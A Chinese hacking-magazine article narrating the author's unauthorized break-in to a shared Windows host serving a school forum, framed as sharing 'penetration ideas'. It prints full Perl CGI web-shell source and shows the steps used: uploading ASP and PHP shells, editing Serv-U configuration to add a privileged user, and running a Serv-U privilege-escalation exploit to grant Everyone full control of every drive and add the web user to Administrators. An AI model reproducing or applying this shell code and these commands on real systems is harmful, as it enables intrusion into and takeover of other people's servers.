注意:
本文的技術(shù)并不是最新的,涉及到的技術(shù)含量也不是很多,重要的是其中的滲透思路。
本文已在《黑客X檔案》11月刊發(fā)表,版權(quán)歸本站及其雜志社所有。
終于高中畢業(yè)了,一定要在暑假努力學(xué)習(xí),發(fā)奮學(xué)習(xí),以前入侵少之又少,都是研究這樣研究那樣,實(shí)戰(zhàn)經(jīng)驗(yàn)太欠缺了,所以決定暑假惡補(bǔ)一下滲透技術(shù),順便又可以看看國(guó)內(nèi)主機(jī)的安全性。暑假 6 月整整學(xué)習(xí)了一個(gè)月的滲透,從 xiaolu 身上學(xué)習(xí)到不少好的思路和經(jīng)驗(yàn)。在此謝謝 xiaolu 了。
一個(gè)多月的時(shí)間里,滲透過(guò)上百臺(tái)服務(wù)器,有獨(dú)立的,有虛擬主機(jī)的,有群組的,有國(guó)內(nèi)和國(guó)外,我發(fā)現(xiàn)一個(gè)極其嚴(yán)重的問(wèn)題,國(guó)外的服務(wù)器,普遍安全性都非常高,管理員的安全意識(shí)非常高,做個(gè)比例,如果國(guó)內(nèi)平均每 10 臺(tái)服務(wù)器,能滲透進(jìn)去 6 臺(tái)甚至更多,那國(guó)外、臺(tái)灣的,平均每 10 臺(tái)服務(wù)器僅僅能滲透 1 臺(tái)。當(dāng)然我的水平也是一個(gè)問(wèn)題??墒菂s反映出國(guó)內(nèi)的管理員的水平的的確確比國(guó)外的要差幾個(gè)檔次。國(guó)內(nèi)的管理員的技術(shù)和意識(shí),迫切需要大幅度提高。
不過(guò)國(guó)內(nèi)的也有比較 BT 的管理員,我就遇見(jiàn)幾個(gè)服務(wù)器設(shè)置得非常。其中一個(gè)的 Documents and Settings 目錄下還有 nsfocus 目錄,難道是 nsfocus 公司幫做的安全?這個(gè)服務(wù)器我們沒(méi)有拿下,還有另外一個(gè),就是今天的重點(diǎn)。
一次看見(jiàn)了一個(gè)學(xué)校論壇(http://www.school.com),還蠻火爆的,頓時(shí)興趣來(lái)了, ping 了一下,發(fā)現(xiàn) 4 個(gè)包都返回 Request timed out. 估計(jì)是搞了策略或者防火墻的,象我這種以 Web 安全的,自然喜歡從站點(diǎn)上找漏洞,自從學(xué)習(xí) Web 開(kāi)始,我就落下一個(gè)怪癖,就是如果實(shí)在從 Web 上找不到什么漏洞,寧愿放棄也不用什么漏洞掃描器。
大概看了看站點(diǎn)。就是一個(gè)論壇,采用 LeadBBS ,拿這個(gè)論壇沒(méi)轍,還有其他辦法,因?yàn)閯偛盼以L問(wèn)這個(gè) IP ,返回“No web site is configured at this address.”,初步判斷是虛擬主機(jī),前段時(shí)間那幾個(gè)黑站狂黑站的成功幾率為什么這么高?因?yàn)橛?a target="_blank" >http://whois.webhosting.info 這個(gè)網(wǎng)站,可以查詢一個(gè) IP 上,綁定了多少個(gè)域名。如果真的是虛擬主機(jī),這個(gè)學(xué)校論壇沒(méi)有漏洞,不代表其他站點(diǎn)就沒(méi)有,很快的,我就通過(guò)一個(gè)小公司站點(diǎn)( http://anyhost/ )上的 DVBBS 6.0 傳了一個(gè) aspshell 上去,誰(shuí)知道僅僅能夠?qū)ψ约旱哪夸涍M(jìn)行操作。而且自己的目錄沒(méi)有執(zhí)行程序的權(quán)限,又用不了 Nfso ,手工跳轉(zhuǎn) URL 中的目錄,也沒(méi)有多少個(gè)可以瀏覽的,重要的 Program Files 和 Documents and Settings 目錄都看不了,從 aspshell 反饋的信息來(lái)看,每個(gè)站點(diǎn)都設(shè)置了單獨(dú)的用戶,似乎一切都陷入僵局。
沒(méi)有目的的跳轉(zhuǎn)目錄著……
我習(xí)慣性的在 URL 跳轉(zhuǎn)到 c:\php,沒(méi)想到居然可以看見(jiàn)了,那這個(gè)主機(jī)很可能就會(huì)支持 php 了,馬上傳了一個(gè) phpspy 上去,非常幸運(yùn),順利看到了登陸入口,可是沒(méi)想到進(jìn)入以后才發(fā)現(xiàn),php.ini 亦設(shè)置得異常 BT,安全模式打開(kāi)了, phpinfo 函數(shù)也被禁用了,看不了詳細(xì)的系統(tǒng)信息,不過(guò)看 phpspy 自帶的探針可以發(fā)現(xiàn),allow_url_fopen、display_errors、 register_globals 統(tǒng)統(tǒng)關(guān)閉,system、passthru、exec、shell_exec 幾個(gè)函數(shù)都無(wú)一幸免的被禁用了,直接跳轉(zhuǎn)目錄還是只可以看到這些目錄而已,各個(gè)站點(diǎn)的目錄都是類似于 “D:\websites\school.com#dlfjurdlkfjk” 這樣的,每個(gè)站點(diǎn)目錄后面的那些字符串都不一樣,也跳轉(zhuǎn)不到,后來(lái)我猜測(cè)后面的字符串就是 ftp 密碼,試驗(yàn)了一下,無(wú)法登陸,看似柳暗花明,希望又破滅了……
結(jié)束了嗎?不,我試著 FTP 一下:
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版權(quán)所有 1985-2000 Microsoft Corp.
C:\Documents and Settings\Administrator>ftp www.school.com
Connected to www. school.com.
220 Welcome to FTP Server...
User (www.bjtrq.com:(none)):
331 User name okay, need password.
Password:
530 Not logged in.
Login failed.
ftp> bye
221 Goodbye!
從返回的信息判斷,我們還是有希望的。盡管他修改了 FTP Server 的 Banner,但是從 User name okay, need password. 這句我們還是大膽的判斷這個(gè)服務(wù)器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升權(quán)限的 Exploit ,如果我能傳一個(gè)上去,并且能夠執(zhí)行,一切就明朗了。再仔細(xì)想想有哪個(gè)目錄可以寫(xiě)的?當(dāng)時(shí)在 c:\php 目錄下沒(méi)有發(fā)現(xiàn) sessiondata 目錄,而且也不是自動(dòng)安裝版,估計(jì)管理員把 session 的目錄換到其他地方了,不然這個(gè)目錄是 everyone 可寫(xiě)的……
原來(lái)我還忘記了一個(gè)最重要的目錄, C:\Documents and Settings\All Users ,從這個(gè)目錄可以知道很多信息,這個(gè)目錄一般、至少都是 everyone 可讀的,這樣我們就可以知道好多有用的信息了,直接通過(guò)我的 aspshell 手工跳轉(zhuǎn)到這個(gè)目錄,呵呵。馬上看到了想看的目錄樹(shù)。
Application Data
Documents
DRM
Favorites
Templates
「開(kāi)始」菜單
桌面
馬上試試建目錄,可惜里面的目錄包括子目錄都無(wú)法新建, BT 管理員權(quán)限設(shè)置得還真嚴(yán)格,不過(guò)我們還是有收獲的,那就是 “C:\Documents and Settings\All Users\ 「開(kāi)始」菜單 \ 程序 \”目錄里,看到了很多決定結(jié)果的有用信息,
ActiveState ActivePerl 5.8
Administrative Tools
Deerfield.com
DTemp
IPSentry
MBM 5
NetMeter
Network ICE
Persits Software AspEmail
Persits Software AspJpeg
Serv-U FTP Server
Symantec Client Security
Windows 優(yōu)化大師
WinRAR
啟動(dòng)
管理工具
附件
呵呵,現(xiàn)在我們知道了好多有用的信息了,看著這些東西,可以看得出管理員對(duì)安全、效率很在意,裝了 Perl,也就是說(shuō)可能支持 cgi 了, IPSentry 這個(gè)可以實(shí)時(shí)檢測(cè)網(wǎng)站的各類服務(wù), 當(dāng)某服務(wù)停止時(shí), 該軟件會(huì)打 Pager, 或 EMAIL,或發(fā)聲,或運(yùn)行其它軟件來(lái)提醒管理員,確保服務(wù)器出現(xiàn)問(wèn)題能及時(shí)處理,說(shuō)明管理員比較負(fù)責(zé)任,NetMeter 可以對(duì)網(wǎng)絡(luò)流量進(jìn)行監(jiān)控,裝了黑冰防火墻和諾頓殺毒服務(wù)器版,說(shuō)明管理員對(duì)于服務(wù)器的安全是很小心的,這還不算,還裝了另外一個(gè)防火墻——VisNetic Firewall,真是 BT 到家了,裝了優(yōu)化大師,看得出這個(gè)管理員還是比較愛(ài)清潔的。從管理工具里面我們還看到了終端服務(wù)客戶端生成器.lnk 、終端服務(wù)配置.lnk ,還有終端服務(wù),這下好了,說(shuō)不定順利就可以多一臺(tái) 3389 肉雞了。
先通過(guò) aspshell 下載 Serv-U 的任意一個(gè)快捷方式,然后本地查看屬性的目標(biāo),呵呵,原來(lái) Serv-U 的目錄是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,這下好了,直接跳轉(zhuǎn)目錄。OH~,yes~~,看到了,馬上修改 ServUDaemon.ini文件,這個(gè)服務(wù)器居然放了 280 個(gè)用戶,狂暈……不管了,先在添加 [Domain1] 里加一行:
User281=angel|1|0
然后加上
[USER=angel|1]
Password=ng98F85379EA68DBF97BAADCA99B69B805
HomeDir=D:\websites
RelPaths=1
TimeOut=600
Maintenance=System
Access1=D:\websites|RWAMELCDP
SKEYValues=
添加一個(gè) angel,密碼為 111111 的用戶,具有最高權(quán)限執(zhí)行,然后我們就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
不過(guò)殘酷現(xiàn)實(shí)再一次粉碎了我的計(jì)劃,修改好文件以后提交,居然是沒(méi)有修改成功,看來(lái)還是權(quán)限,權(quán)限權(quán)限整慘人啊。
不過(guò)還是有希望的,因?yàn)閯偛盼覀兛吹搅讼到y(tǒng)裝了黑冰,有些版本存在“ISS RealSecure/BlackICE 協(xié)議分析模塊 SMB 解析堆溢出漏洞”,可以遠(yuǎn)程利用的,手頭上沒(méi)有編譯器,沒(méi)有辦法編譯代碼。
還有就是 Perl,這個(gè)是個(gè)很大的突破口,因?yàn)?Perl 目錄一般要 erveryone 完全控制的,不管他用 isap 還是 perl.exe 一般都是可寫(xiě)、可執(zhí)行的,馬上下載 Perl 的快捷方式來(lái)看看路徑,呵呵,看到了,原來(lái) D:\user\bin 就是存放 perl 的 bin 目錄下的所有文件,這么說(shuō)這個(gè)目錄可能可以寫(xiě),也可能可以執(zhí)行咯,馬上傳一個(gè) su.exe(針對(duì)目前所有版本的 Serv-U 本地提升權(quán)限漏洞)上去,呵呵,傳上去了,太好了,現(xiàn)在就是執(zhí)行了,剛才我們?cè)嚵?aspshell、phpshell 都不行,現(xiàn)在就看最后的希望了,找呀找啊,終于在我硬盤(pán)上找到一個(gè) cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代碼如下:
#!/usr/bin/perl
binmode(STDOUT);
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
$_ = $ENV{QUERY_STRING};
s/%20/ /ig;
s/%2f/\//ig;
$execthis = $_;
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
open(STDERR, ">&STDOUT") || die "Can‘t redirect STDERR";
system($execthis);
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
close(STDERR);
close(STDOUT);
exit;
我用過(guò)最好的 cgishell ,保存為一個(gè) cgi 文件執(zhí)行,暈……居然不支持!一陣陣郁悶襲來(lái),2 秒鐘的郁悶后,想到還有一線希望,那就是pl ,我們還沒(méi)有試試 pl 擴(kuò)展呢,把剛才的 cgi 文件改為 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊??!
顯示“拒絕訪問(wèn)”,終于可以執(zhí)行了!太興奮了,馬上提交:
http://anyhost//cmd.pl?d:\user\bin\su.exe
返回:
Serv-u >3.x Local Exploit by xiaolu
USAGE: serv-u.exe "command"
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
嘻嘻~~現(xiàn)在是 IUSR 權(quán)限,那又怎么樣?看你這次還不死?提交:
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
返回下面的信息,就表示成功了?。?!
Serv-u >3.x Local Exploit by xiaolu
<220 Serv-U FTP Server v5.2 for WinSock ready...
>USER LocalAdministrator
<331 User name okay, need password.
******************************************************
>PASS #l@$ak#.lk;0@P
<230 User logged in, proceed.
******************************************************
>SITE MAINTENANCE
******************************************************
[+] Creating New Domain...
<200-DomainID=2
<220 Domain settings saved
******************************************************
[+] Domain xl:2 Created
[+] Creating Evil User
<200-User=xl
200 User settings saved
******************************************************
[+] Now Exploiting...
>USER xl
<331 User name okay, need password.
******************************************************
>PASS 111111
<230 User logged in, proceed.
******************************************************
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
<220 Domain deleted
******************************************************
每提交完一次都稍微等一下,因?yàn)檫@些命令需要時(shí)間處理的,不一會(huì)兒,就把所有分區(qū)設(shè)置為 everyone 完全控制了,可以任意操作硬盤(pán)的東西了,但是有些命令還是受了限制,因?yàn)闄?quán)限還沒(méi)有提升,現(xiàn)在我們把自己的用戶提升為管理員:
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
現(xiàn)在我們通過(guò) web 方式,執(zhí)行的命令就是以 administrator 的身份執(zhí)行的了,相信到這里,下面的事該做什么,大家應(yīng)該知道了吧?馬上找到那個(gè)學(xué)校的目錄,進(jìn)去咯~~目的達(dá)到了,本來(lái)還想做一個(gè) 3389 的肉雞的,想想算了,這種 BT 管理員的地盤(pán),我也占領(lǐng)不了多久,留點(diǎn)提示到他的桌面就 over 了。
說(shuō)真的,搞安全這么久,從來(lái)沒(méi)有遇見(jiàn)這么棘手的虛擬主機(jī),要不是裝了 Perl,還真是束手無(wú)策!本文技術(shù)含量不高,只是分享一下希望其中的思路,如果有一個(gè)人從中受益,這篇文章就完成它的使命了。